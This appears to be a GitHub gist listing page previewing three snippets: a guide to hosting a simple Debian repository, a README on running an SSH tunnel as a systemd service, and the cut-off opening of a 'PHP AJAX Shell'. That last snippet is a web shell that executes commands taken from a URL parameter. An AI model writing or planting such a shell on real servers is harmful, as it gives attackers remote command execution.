Skip to content

Instantly share code, notes, and snippets.

@awesomebytes
awesomebytes / simple_debian_repository.md
Last active March 5, 2024 18:17
How to create a simple debian repository with minimal dependences

Simple debian repository

How to have a simple debian repository to offer your packages.

Requirements

You probably have them already installed

  • Python (I used 2.7).
  • dpkg-scanpackages: sudo apt-get install dpkg-dev
  • gzip: sudo apt-get install gzip
@drmalex07
drmalex07 / README-setup-tunnel-as-systemd-service.md
Last active May 4, 2024 15:04
Setup a secure (SSH) tunnel as a systemd service. #systemd #ssh #ssh-tunnel #ssh-forward

README

Create a template service file at /etc/systemd/system/secure-tunnel@.service. The template parameter will correspond to the name of target host:

[Unit]
Description=Setup a secure tunnel to %I
After=network.target
@lav45
lav45 / AjaxShell.php
Last active July 22, 2020 08:20
PHP AJAX Shell
<?php
ini_set('max_input_time', 0);
ini_set('max_execution_time', 0);
if (!empty($_GET['cmd'])) {
$in = $_GET['cmd'];
$out = "";
if (function_exists('exec')) {
@exec($in,$out);
$out = @join("\n",$out);